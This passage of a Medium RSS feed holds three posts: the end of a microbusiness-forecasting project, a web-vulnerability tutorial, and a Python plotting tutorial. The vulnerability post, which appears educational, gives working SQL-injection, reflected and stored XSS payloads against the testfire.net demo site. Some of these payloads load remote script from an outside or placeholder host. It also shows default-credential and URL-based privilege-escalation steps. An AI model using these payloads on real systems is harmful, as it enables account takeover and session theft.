microbusiness densities evolve over time).</p><h3>Results &amp; Performance Evaluation</h3><h4>1. Model Performance</h4><p>The primary metric we used to evaluate our model was <strong>SMAPE (Symmetric Mean Absolute Percentage Error)</strong>. SMAPE is a widely-used error metric in time-series forecasting, as it accounts for both under and over-predictions symmetrically.</p><p>Across different cross-validation folds, our model achieved a SMAPE score between 3.19% and 3.41%. These scores indicate the percentage error in our predictions and show that our model was quite accurate in forecasting future microbusiness densities.</p><pre>SMAPE = 100 * (|Actual - Predicted|) / ((|Actual| + |Predicted|) / 2)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*5X57HZOLfmptpXvH5JCcyQ.png" /></figure><p>1. Fold-wise Training and Evaluation:- The model is trained with historical data up to a specific date and evaluated for subsequent periods in each fold of cross validation.</p><p>2. Training Process:- The model is fitted to the training data, with adjustments made to parameters and data processing to enhance accuracy.</p><p>3. Forecasting:- Forecasts are generated for future periods, starting from the month following the last training date and continuing for several months.</p><p>4. Evaluation Metrics:- Evaluation metrics like SMAPE measure the accuracy of forecasts compared to actual values, providing insight into model performance.</p><p>5. Cross-Validation Folds:- The process repeats for multiple folds, each representing distinct training and evaluation periods, with details provided for each fold’s training, forecasting, and evaluation.</p><p>The output showcases the training, evaluation, and forecasting process of the model. It demonstrates how the model is trained on historical data and evaluated for its predictive accuracy in future periods. The forecasts generated are compared to actual values, and evaluation metrics like SMAPE provide insights into forecast accuracy. Multiple cross validation folds offer a comprehensive assessment of the model’s performance across different datasets. Overall, the output helps understand the model’s ability to make reliable predictions and provides feedback for model refinement.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*8nho9FQSZpTWYoNCPv4S4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*LKxhFb-wufSHtkCHcUyWzw.png" /></figure><p>1. Forecast for 2023–01–01: Adjusted 1231 cfips and 2359 points for threshold = 0.1.</p><p>2. Forecast for 2023–02–01: Adjusted 1231 cfips and 2376 points for threshold = 0.1.</p><p>3. Forecast for 2023–03–01: Adjusted 1231 cfips and 2376 points for threshold = 0.1.</p><p>4. Forecast for 2023–04–01: Adjusted 1231 cfips and 2376 points for threshold = 0.1.</p><p>5. Forecast for 2023–05–01: Adjusted 1231 cfips and 2376 points for threshold = 0.1.</p><p>6. Forecast for 2023–06–01: Adjusted 1231 cfips and 2376 points for threshold = 0.1.</p><h4>2. Visualizing Results &amp; Analysis</h4><p>To make the results more intuitive, we visualized the predicted vs actual densities over time for several counties. This helped in identifying trends, such as counties where microbusiness growth was accelerating or slowing down.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*qt7Yx-IwxyXYrDryaBYsrw.png" /><figcaption>Ventures by Zip Code</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*e59dXoW-FZBdPiRaJEt5WQ.png" /><figcaption>Ventures by County</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*9CB7NxWXXQK0TzyfjQauhw.png" /><figcaption>The ratio of Ventures to Small Businesses (more ventures in blue)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*QqGPqFxqPX3ogYqCzGd-Bg.png" /><figcaption>Distressed Communities Index by County</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*aJrc2Z-f28DcgFQbNbAGCQ.png" /><figcaption>Density of Ventures (Domain Name Websites and their Redirects) per 100 people, by County</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7VQGyOLGRSRVEI_eqfIfJA.png" /><figcaption>Density of Venture by Activity Level/Clusters and County, Nov 2018</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3DkbIe--YP2aOzXJDuk8NQ.png" /><figcaption>Density of Venture by Activity Level/Clusters and Zip Code, Nov 2018</figcaption></figure><h3>Submission</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*R0XNieBVkfEAc7rEWc7VfQ.png" /></figure><p>It contains microbusiness density predictions for different regions at two different time points, November 2022 and December 2022. Each row in the CSV file corresponds to a specific region (identified by row_id) and its predicted microbusiness density for either November 2022 or December 2022.</p><p>· For region 1001, the predicted microbusiness density is 3.442677 for November 2022 and 3.4709148 for December 2022.</p><p>· For region 1003, the predicted microbusiness density is 8.2576361 for November 2022 and 8.2506304 for December 2022.</p><p>· For region 1005, the predicted microbusiness density is 1.2472228 for November 2022 and 1.2522722 for December 2022.</p><p>· For region 1007, the predicted microbusiness density is 1.2759978 for November 2022 and 1.28724 for December 2022.</p><p>· For region 1009, the predicted microbusiness density is 1.8362887 for November 2022 and 1.8520604 for December 2022.</p><p>· For region 1011, the predicted microbusiness density is 1.013428 for November 2022 and 1.0260957 for December 2022.</p><p>· For region 1013, the predicted microbusiness density is 2.1859705 for November 2022 and 2.1990211 for December 2022.</p><p>These predictions provide insights into the expected density of microbusinesses in various regions for the specified time points.</p><h3>Challenges Faced</h3><p>While the project was successful, we encountered several challenges along the way:-</p><ul><li><strong>Handling Missing Data</strong>:- Several counties had incomplete data for certain months. We had to decide whether to impute missing values or exclude those counties.</li><li><strong>Seasonality and Trends</strong>:- Identifying and incorporating seasonal patterns in microbusiness growth required careful feature engineering.</li><li><strong>Computational Resources</strong>:- Training on a large dataset with a gradient boosting model like XGBoost required significant computational power.</li></ul><h3>Conclusion</h3><p>Our project <strong>“Unveiling Microbusiness Dynamics”</strong> provided valuable insights into the growth and density of microbusinesses across various regions. By applying machine learning and time-series forecasting techniques, we were able to predict future densities with high accuracy. This kind of analysis can help decision-makers at various levels better understand the factors influencing microbusiness growth and plan accordingly.</p><h3>Acknowledgments</h3><p>We want to extend a big thank you to our mentors, friends, and teammates for their support throughout the project.</p><p>Special thanks to:-</p><ul><li><a href="https://www.linkedin.com/in/shilpali-bansu-716b721a6/">Prof. Shilpali Bansu</a></li><li><a href="https://www.linkedin.com/in/aarohi-p-b72705273/">Aaroli Pisolkar</a></li><li>Sachin Bade</li><li><a href="https://www.linkedin.com/in/shraddha-ratambe-786a8226b/">Shraddha Ratambe</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32546a347a26" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unveiling Cyber Vulnerabilities: Identifying Weaknesses and Implementing Robust Solutions]]></title>
            <link>https://medium.com/@Yash22222/unveiling-cyber-vulnerabilities-identifying-weaknesses-and-implementing-robust-solutions-384cc223afe9?source=rss-bd716feac23f------2</link>
            <guid isPermaLink="false">https://medium.com/p/384cc223afe9</guid>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <dc:creator><![CDATA[Yash Ashok Shirsath]]></dc:creator>
            <pubDate>Fri, 02 Aug 2024 16:25:54 GMT</pubDate>
            <atom:updated>2024-08-02T16:25:54.320Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g10cnK3zD4L2ej1bBiIDvQ.jpeg" /></figure><p>In an era where digital transformation is accelerating at an unprecedented pace, the importance of cybersecurity has never been more critical. Cyber vulnerabilities represent weaknesses or flaws in a system that malicious actors can exploit to gain unauthorized access, steal data, or disrupt operations. From software bugs and misconfigurations to sophisticated social engineering attacks, the landscape of cyber threats is vast and ever-evolving. This blog explores some of the most common vulnerabilities in modern digital environments, delving into their potential impacts and providing practical solutions to fortify systems against these threats. By understanding and addressing these vulnerabilities, organizations can significantly enhance their cybersecurity posture and protect their valuable assets from cyber adversaries.</p><h4>1. DEFAULT CREDENTIAL</h4><p>A default credential vulnerability is a type of vulnerability in a computing device that most commonly affects devices that have some pre-set administrative credentials to access all configuration settings. The vendor or manufacturer of such devices uses a single pre-defined set of admin credentials to access the device configurations, and any potential hacker can misuse this fact to hack such devices if consumers do not change those credentials.</p><p><strong>Impact:- </strong>Attackers can easily identify and access internet-connected systems that use shared default passwords. It is imperative to change default manufacturer passwords and restrict network access to critical systems.</p><p><strong>Proof of Concept:- </strong>Using This <a href="https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv">GitHub link</a>, we find default passwords for multiple software, OT, and IoT devices.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*iN_hjK1MxBDQdkPmjk6d8g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*-CBhNW0kZH-SBNLkbye5eg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*1frDqebgtu3yd1VmqYKfIQ.png" /></figure><p><strong>Step:- </strong>To reproduce Vulnerability Follow This Step</p><p>1) Login at <a href="http://testfire.net/login.jsp">http://testfire.net/login.jsp</a> Using Below Credential</p><p>2) U-ID = admin, Password = admin</p><p><strong>Solution:- </strong>Change default passwords as soon as possible and absolutely before deploying the system on an untrusted network such as the internet. Use a sufficiently strong and unique password. Ensure that new passwords are used and that these passwords are unique, long, and include a combination of different numbers, letters, and symbols. Do not use old passwords. Store the new unique passwords safely in a password manager or enterprise Privileged Access Management tool (PAM).</p><h4>2. SQL INJECTION TO ACCOUNT TAKEOVER — CRITICAL</h4><p>SQL injection, also known as SQLI, is a common attack vector that uses malicious SQL code for backend database manipulation to access information that was not intended to be displayed. This information may include any number of items, including sensitive company data, user lists, or private customer details. The impact SQL injection can have on a business is far-reaching. A successful attack may result in the unauthorized viewing of user lists, the deletion of entire tables, and, in certain cases, the attacker gaining administrative rights to a database, all of which are highly detrimental to a business.</p><p><strong>Impact:- </strong>When calculating the potential cost of an SQLi, it’s important to consider the loss of customer trust should personal information such as phone numbers, addresses, and credit card details be stolen. While this vector can be used to attack any SQL database, websites are the most frequent targets.</p><p><strong>Proof of Concept:- </strong>Using This <a href="https://github.com/payloadbox/sql-injection-payload-list/blob/master/Intruder/exploit/Auth_Bypass.txt">GitHub link</a>, we find similar payloads in the below repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*eg13YvijHNVV5MLZkELXjQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*kg6HRmdEdeUlxnmeNqkFhg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/916/1*PDnOQoJULYLZtmDPwqSMEg.png" /></figure><p><strong>Step:- </strong>For Reproduce Vulnerability Follow This Step</p><p>1) Go to the <a href="http://testfire.net/login.jsp">http://testfire.net/login.jsp</a></p><p>2) Enter username &amp; the password as ‘ or ‘’=’ Then login.</p><p><strong>Solution:- </strong>Preventing or mitigating SQL injection attacks is about ensuring that none of the fields are vulnerable to invalid inputs and application execution. It is manually impossible to check every page and every application on the website. Especially when updates are frequent, and user-friendliness is the top priority. Nonetheless, security analysts and developers recommend that a number of the subsequent points guarantee your database is well protected inside the server.</p><p>1) Continuous Scanning and Penetration Testing</p><p>2) Restrict Privileges</p><p>3) Use Query Parameters</p><p>4) Use Web Application Firewall</p><h4>3. REFLECTED XSS VULNERABILITY BUSINESS IMPACT HIGH</h4><p>Cross Site Scripting (XSS) attacks occur when</p><p>1. Data enters a Web application through an untrusted source, most frequently a web request.</p><p>2. The data is included in dynamic content that is sent to a web user without being validated for malicious content.</p><p>The malicious content sent to the web browser often takes the form of a segment of JavaScript, but may also include HTML, Flash, or any other type of code that the browser may execute. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data, like cookies or other session information, to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user’s machine under the guise of the vulnerable site.</p><p><strong>Impact:- </strong>If an attacker can control a script that is executed in the victim’s browser, then they can typically fully compromise that user. Amongst other things, the attacker can:</p><p>1. Perform any action within the application that the user can perform.</p><p>2. View any information that the user can view.</p><p>3. Modify any information that the user can modify.</p><p>4. Initiate interactions with other application users, including malicious attacks, that will appear to originate from the initial victim user.</p><p>There are various means by which an attacker might induce a victim user to request that they control, to deliver a reflected XSS attack. These include placing links on a website controlled by the attacker, or on another website that allows content to be generated, or by sending a link in an email, tweet, or other message. The attack could be targeted directly against a known user or could be an indiscriminate attack against any users of the application.</p><p><strong>Proof of Concept: </strong><a href="https://github.com/Thewhiteevil/xss-payload-list"><strong>https://github.com/Thewhiteevil/xss-payload-list</strong></a></p><p>You can get the most of the available JavaScript payloads in the above repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*17-Jh65v90E67tne_MhwMw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*IrvAy1gEIK7xdAf7oslRlw.png" /></figure><p><strong>Step:- </strong>To reproduce Vulnerability Follow This Step</p><p>1. Go to the <a href="http://testfire.net/">http://testfire.net/</a></p><p>2. Enter the below payload in the search bar and click enter.</p><p>· &lt;a href=”javas\x08cript:javascript:alert(1)” id=”fuzzelement1&quot;&gt;test&lt;/a&gt;</p><p>· &lt;script\x0Ctype=”text/javascript”&gt;javascript:alert(1);&lt;/script&gt;</p><p><strong>Solution:- </strong>There are several effective methods for preventing and mitigating reflected XSS attacks.</p><p>First and foremost, from the user’s point of view, vigilance is the best way to avoid XSS scripting. Specifically, this means not clicking on suspicious links which may contain malicious code. Suspicious links include those found in:</p><p>· Emails from unknown senders</p><p>· A website’s comments section</p><p>· Social media feed of unknown users</p><p><strong>How to Prevent Cross-site Scripting (XSS)</strong></p><p>1. Train and maintain awareness</p><p>2. Don’t trust any user input</p><p>3. Use escaping/encoding</p><p>4. Sanitize HTML</p><p>5. Set the Http Only flag</p><p>6. Use a Content Security Policy</p><p>7. Scan regularly (with Acunetix)</p><h4>4. STORED XSS VULNERABILITY BUSINESS IMPACT HIGH</h4><p>XSS is an attack technique that injects malicious code into vulnerable web applications. Unlike other attacks, this technique does not target the web server itself, but the user’s browser.</p><p>Stored XSS is a type of XSS that stores malicious code on the application server. Using stored XSS is only possible if your application is designed to store user input — a classic example is a message board or social media Website.</p><p><strong>Impact:- </strong>Cross Site scripting attacks can have devastating consequences. Code injected into a vulnerable application can exfiltrate data or install malware on the user’s machine. Attackers can masquerade as authorized users via session cookies, allowing them to perform any action allowed by the user account.</p><p>XSS can also impact a business’s reputation. An attacker can deface a corporate website by altering its content, thereby damaging the company’s image or spreading misinformation. A hacker can also change the instructions given to users who visit the target website, misdirecting their behavior. This scenario is particularly dangerous if the target is a government website or provides vital resources in times of crisis.</p><p><strong>Proof of Concept:- </strong>Using This <a href="https://github.com/Thewhiteevil/xss-payload-list">GitHub Link</a>, we find similar payloads in the below Repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*9Vnd3JCN4yZamc-Vsljq7w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*FotBalQzHk5RQ4pc_Lelhw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/929/1*rfgEJAu3ySOhvIC3wCEEFw.png" /></figure><p><strong>Step:- </strong>For Reproduce Vulnerability Follow This Step</p><p>I. Go to the <a href="http://testfire.net/feedback.jsp">http://testfire.net/feedback.jsp</a></p><p>II. Enter the below payload in “Your Name” field and submit the form.</p><p>1. &lt;script src=//brutelogic.com.br/1.js&gt;</p><p>OR</p><p>2. &lt;svg onload=setInterval(function(){with(document)body.appendChild(createElement(‘script’)).src=’//HOST:PORT’},0)&gt;</p><p><strong>Solution:</strong></p><p>There are several factors to keep in mind to help you prevent stored XSS</p><p>1. Secure handling of user input:-</p><p>You must never implicitly trust input submitted by a user. Inspect all user-submitted input to ensure it doesn’t include risky characters that may affect how a user’s browser interprets the data on your website. Implement thorough input validation and ensure characters are output-escaped.</p><p>2. Request blocking:-</p><p>You can allow or block user-submitted input based on its risk of containing a malicious payload. For example, if the input contains &lt;script&gt;, it likely includes a cross site scripting payload, and you might reject the request. Generally, you should maintain tight control, restricting the characters you allow. This approach is more effective than allowing all inputs by default and only blocking those containing a known malicious string. Innovative attackers can use alternative scripts to bypass your protective measures.</p><p>3. Escaping:-</p><p>Encode any special characters to ensure the program interprets them literally (and not as special characters) before you allow them to render on your webpage. You might, for example, replace angle brackets &lt; &gt; in HTML with alternative characters, like &amp;lt and &amp;gt, to prevent the characters contained in them from forming a tag. You should also escape characters that convey special meanings in HTML.</p><p>4. Choosing the right framework:-</p><p>Some JavaScript frameworks provide capabilities that help prevent XSS vulnerabilities. For example, Angular and React offer automatic escaping, making it easier to protect your web applications.</p><p>5. Mitigating the damage of an XSS attack:-</p><p>Implement measures to reduce the impact of a successful XSS exploit. For example, you can protect sensitive user cookies on your website by setting the Https Only flag. You can also configure the browser to only execute scripts from a list of approved sources by applying an HTTP response header such as Content-Security-Policy.</p><h4>5. <strong>VERTICAL PRIVILEGE ESCALATION</strong></h4><p>An attacker attempts to gain more permissions or access with an existing account they have compromised. For example, an attacker takes over a regular user account on a network and attempts to gain administrative permissions or root access. This requires more sophistication and may take the shape of an Advanced Persistent Threat.</p><p>Vertical privilege escalation is a type of attack in which a user with limited access privileges can gain higher-level privileges or administrative access to systems or data.</p><p><strong>Impact:- </strong>Vertical privilege escalation refers to the process by which an attacker attempts to gain access to higher levels of privileges within a system or network than they are authorized to have. The impact of such an attack can be significant, as the attacker may be able to access sensitive data or perform malicious actions that would otherwise be restricted.</p><p>Here are some of the potential impacts of vertical privilege escalation:</p><p>1. Access to sensitive data: An attacker who can gain higher levels of privilege within a system may be able to access sensitive data that would otherwise be protected. This could include personally identifiable information (PII), financial data, or other confidential information.</p><p>2. Ability to perform malicious actions: With higher levels of privilege, an attacker may be able to perform malicious actions such as modifying or deleting data, creating new user accounts, or installing malware on the system.</p><p>3. Compromise of the entire system: If an attacker can gain administrative or root access to a system, they may be able to compromise the entire system, allowing them to control it completely.</p><p>4. Damage to reputation and trust: A successful vertical privilege escalation attack can damage the reputation of the organization, erode customer trust, and result in legal and financial liabilities.</p><p><strong>Proof of Concept</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*CVTrK6xMNIvEzW0i-69pEA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*RcHK9gWVC6tngisJBuB5Xg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*VbP2mbrR5rN4XlEYgjplNg.png" /></figure><p><strong>Step:- To reproduce</strong> Vulnerability Follow This Step</p><p>· Go to the:- <a href="http://www.testfire.net/">http://www.testfire.net/</a></p><p>· Login as:- jsmith/demo1234</p><p>· The URL Looks like:- <a href="http://www.testfire.net/bank/main.jsp">http://www.testfire.net/bank/main.jsp</a></p><p>· In the URL just change the endpoint to:- <a href="http://www.testfire.net/admin/admin.jsp">http://www.testfire.net/admin/admin.jsp</a></p><p><strong>Solution:- </strong>There are several measures that organizations can take to prevent and mitigate vertical privilege escalation attacks. Here are some of the solutions that can be implemented:</p><p>1. Principle of least privilege: Organizations should follow the principle of least privilege, which means granting only the minimum amount of privileges necessary for users to perform their duties. This helps to limit the potential damage that can be caused by a compromised account.</p><p>2. Access controls: Access controls such as authentication and authorization mechanisms should be implemented to ensure that users are only granted access to resources that they are authorized to access. Multi-factor authentication (MFA): Multi-factor authentication should be used to prevent unauthorized access to user accounts, even if the attacker has stolen or guessed the user’s password.</p><p>3. Privilege separation: Organizations can separate roles and responsibilities so that employees only have access to the systems and data necessary to perform their job duties. This reduces the risk of an attacker being able to gain access to sensitive systems and data.</p><p>4. Monitoring and logging: Monitoring and logging of user activity can help detect and prevent privilege escalation attacks. Suspicious activity or attempts to access resources outside of a user’s authorized privileges should be flagged for investigation.</p><p>5. Regular security assessments: Regular security assessments should be performed to identify vulnerabilities and address them before they can be exploited by attackers.</p><p>6. Patch management: Keeping systems up-to-date with the latest security patches and updates can prevent known vulnerabilities from being exploited.</p><p>Overall, a layered approach to security that includes a combination of technical and procedural controls can help prevent and mitigate the impact of vertical privilege escalation attacks.</p><p>Conclusion:- Addressing vulnerabilities such as default credentials, SQL injection, account takeover, reflected and stored XSS, and vertical privilege escalation is crucial for cybersecurity. These weaknesses can lead to unauthorized access, data breaches, and severe business impacts. To mitigate these threats, organizations should regularly update and patch software, conduct security audits, use strong passwords, employ multi-factor authentication, and educate users about social engineering. Implementing security tools and secure coding practices further enhances defense. By proactively managing these vulnerabilities, businesses can protect their assets, maintain customer trust, and ensure the integrity of their systems.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=384cc223afe9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Python Essentials for Data Analytics and Visualization]]></title>
            <link>https://medium.com/@Yash22222/python-essentials-for-data-analytics-and-visualization-fb8cadba92ca?source=rss-bd716feac23f------2</link>
            <guid isPermaLink="false">https://medium.com/p/fb8cadba92ca</guid>
            <category><![CDATA[business-analytics]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[data-science]]></category>
            <category><![CDATA[data-analytics]]></category>
            <category><![CDATA[data-vizualisation]]></category>
            <dc:creator><![CDATA[Yash Ashok Shirsath]]></dc:creator>
            <pubDate>Sat, 13 Jul 2024 17:32:35 GMT</pubDate>
            <atom:updated>2024-07-13T17:32:35.189Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5mT7ZWlRTSBuDBtzufcldA.png" /></figure><p>A powerful combination is data analytics and visualization with Python. With libraries such as Pandas, NumPy, and Matplotlib, Python enables data manipulation and analysis. Tools at our disposal include Seaborn, Plotly, and Bokeh, which help us generate interactive and informative plots through visualization. Using these libraries enables us to conduct activities like data cleaning, mining, and modeling with statistics, as well as telling stories using data. Furthermore, machine learning in Python is supported by frameworks such as Scikit-Learn and TensorFlow.</p><h3>1. Introduction</h3><p>Data analytics and visualization are essential skills for data scientists, allowing them to interpret and present data in meaningful ways. Python, with its rich ecosystem of libraries, is a powerful tool for these tasks. This blog will explore essential data libraries for data analytics and delve into key libraries for plotting and visualization, specifically Matplotlib and Seaborn.</p><h3>2. Essential Data Libraries for Data Analytics</h3><h4>Pandas</h4><p>Pandas is a fundamental library for data manipulation and analysis in Python. It provides data structures like DataFrame, which are perfect for handling structured data.</p><ul><li><strong>DataFrames</strong>: Two-dimensional, size-mutable, potentially heterogeneous tabular data.</li><li><strong>Series</strong>: One-dimensional labeled array capable of holding any data type.</li><li><strong>Data Cleaning</strong>: Handling missing data, merging datasets, reshaping, and more.</li><li><strong>Data Analysis</strong>: Statistical operations, grouping, pivoting, and more.</li></ul><pre>import pandas as pd<br><br>df = {&#39;Name&#39;: [&#39;Yash 0&#39;, &#39;Yash 1&#39;, &#39;Yash 2&#39;],<br>        &#39;Age&#39;: [22, 20, 25],<br>        &#39;City&#39;: [&#39;Kalyan&#39;, &#39;Mumbai&#39;, &#39;Kharghar&#39;]}<br>df = pd.DataFrame(df)<br>print(df)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PnAVdTDnWkgPDHFAXyE9UA.png" /></figure><p>Pandas also allow for easy handling of missing data:</p><pre>df[&#39;Age&#39;].fillna(df[&#39;Age&#39;].mean(), inplace=True)<br>df</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JP7UFFiZFzCxE1xbbcN_Lg.png" /></figure><h4>NumPy</h4><p>NumPy is the fundamental package for numerical computation in Python. It provides support for arrays, matrices, and many mathematical functions.</p><ul><li><strong>Arrays</strong>: Efficient storage and manipulation of large data sets.</li><li><strong>Mathematical Functions</strong>: Operations on arrays, linear algebra, random number generation, and more.</li></ul><pre>import numpy as np<br><br>arr = np.array([1, 2, 3, 4, 5])<br>print(arr)<br>print(arr + 10)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mAWPn7z10R5oc2K0m-yr7w.png" /></figure><h4>SciPy</h4><p>SciPy builds on NumPy and provides additional tools for scientific and technical computing. It includes modules for optimization, integration, interpolation, eigenvalue problems, and more.</p><pre>from scipy import stats<br><br>data = np.random.normal(0, 1, 1000)<br><br>statistic, p_value = stats.ttest_1samp(data, 0)<br>print(f&quot;Statistic:- {statistic}, p-value:- {p_value}&quot;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s_tt-NpIPlGxto8H0xnHZQ.png" /></figure><h3>3. Plotting and Visualization with Python</h3><h4>Introduction to Matplotlib</h4><p>Matplotlib is a plotting library for creating static, animated, and interactive visualizations in Python. It is highly customizable and produces publication-quality figures.</p><pre>import matplotlib.pyplot as plt<br><br>x = [1, 2, 3, 4, 5]<br>y = [10, 20, 25, 30, 35]<br><br>plt.plot(x, y)<br>plt.title(&#39;Line Plot&#39;)<br>plt.xlabel(&#39;X-axis&#39;)<br>plt.ylabel(&#39;Y-axis&#39;)<br>plt.show()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*_moBKHrGoO9G6PHeQqEs9g.png" /></figure><p>Basic Plotting with Matplotlib</p><pre>dt = np.random.randn(1000)<br><br>plt.hist(dt, bins=30)<br>plt.title(&#39;Histogram&#39;)<br>plt.xlabel(&#39;Value&#39;)<br>plt.ylabel(&#39;Frequency&#39;)<br>plt.show()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*zmeUjuM_Ea-RsKG_T06X3A.png" /></figure><p>Bar Chart</p><pre>categories = [&#39;A&#39;, &#39;B&#39;, &#39;C&#39;]<br>values = [10, 20, 30]<br><br>plt.bar(categories, values)<br>plt.title(&#39;Bar Chart&#39;)<br>plt.xlabel(&#39;Category&#39;)<br>plt.ylabel(&#39;Value&#39;)<br>plt.show()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*PHMgS3ysnwI8jJOEsiZZ1w.png" /></figure><p>Pie Chart</p><pre>labels = [&#39;A&#39;, &#39;B&#39;, &#39;C&#39;]<br>sizes = [15, 30, 45]<br><br>plt.pie(sizes, labels=labels, autopct=&#39;%1.1f%%&#39;)<br>plt.title(&#39;Pie Chart&#39;)<br>plt.show()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/389/1*NVBP2dpE7gHfzgOACxtDmA.png" /></figure><p>Box Plot</p><pre>dt = [np.random.normal(0, std, 100) for std in range(1, 4)]<br><br>plt.boxplot(dt, vert=True, patch_artist=True)<br>plt.title(&#39;Box Plot&#39;)<br>plt.xlabel(&#39;Category&#39;)<br>plt.ylabel(&#39;Value&#39;)<br>plt.show()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*CIO5C1jY4T1qo42wknlCdw.png" /></figure><p>Violin Plot</p><pre>dt = [np.random.normal(0, std, 100) for std in range(1, 4)]<br><br>plt.violinplot(dt)<br>plt.title(&#39;Violin Plot&#39;)<br>plt.xlabel(&#39;Category&#39;)<br>plt.ylabel(&#39;Value&#39;)<br>plt.show()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*gUggBAjsmJEErJwwNNF3jw.png" /></figure><h4>Introduction to Seaborn Library</h4><p>Seaborn is built on top of Matplotlib and provides a high-level interface for drawing attractive and informative statistical graphics. It makes it easier to create complex visualizations.</p><pre>import seaborn as sns<br><br>tips = sns.load_dataset(&quot;tips&quot;)<br>sns.scatterplot(x=&quot;total_bill&quot;, y=&quot;tip&quot;, data=tips)<br>plt.title(&#39;Scatter Plot - Seaborn&#39;)<br>plt.show()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*8r7AdrQiCWA2L2QN_LOm2w.png" /></figure><p>Multiple Plots</p><pre>sns.relplot(x=&quot;total_bill&quot;, y=&quot;tip&quot;, hue=&quot;smoker&quot;, col=&quot;time&quot;, data=tips)<br>plt.show()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_ZOOvPHa_PtLAUzMjZHvDQ.png" /></figure><p>Regression Plot</p><pre>sns.lmplot(x=&quot;total_bill&quot;, y=&quot;tip&quot;, data=tips)<br>plt.title(&#39;Regression Plot&#39;)<br>plt.show()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/490/1*A69DvWeZsdU4W1EJix7R3A.png" /></figure><p>Regplot</p><pre>sns.regplot(x=&quot;total_bill&quot;, y=&quot;tip&quot;, data=tips)<br>plt.title(&#39;Regplot&#39;)<br>plt.show()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*8sNpfOVh1MnxPO6RbNyUSg.png" /></figure><h4>Conclusion</h4><p>Python offers a comprehensive set of tools for data analytics and visualization, making it an invaluable resource for data scientists. Libraries like Pandas, NumPy, and SciPy provide robust data manipulation and analysis capabilities, while Matplotlib and Seaborn allow for the creation of informative and attractive visualizations. By mastering these libraries, you can effectively turn complex data into meaningful insights.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fb8cadba92ca" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>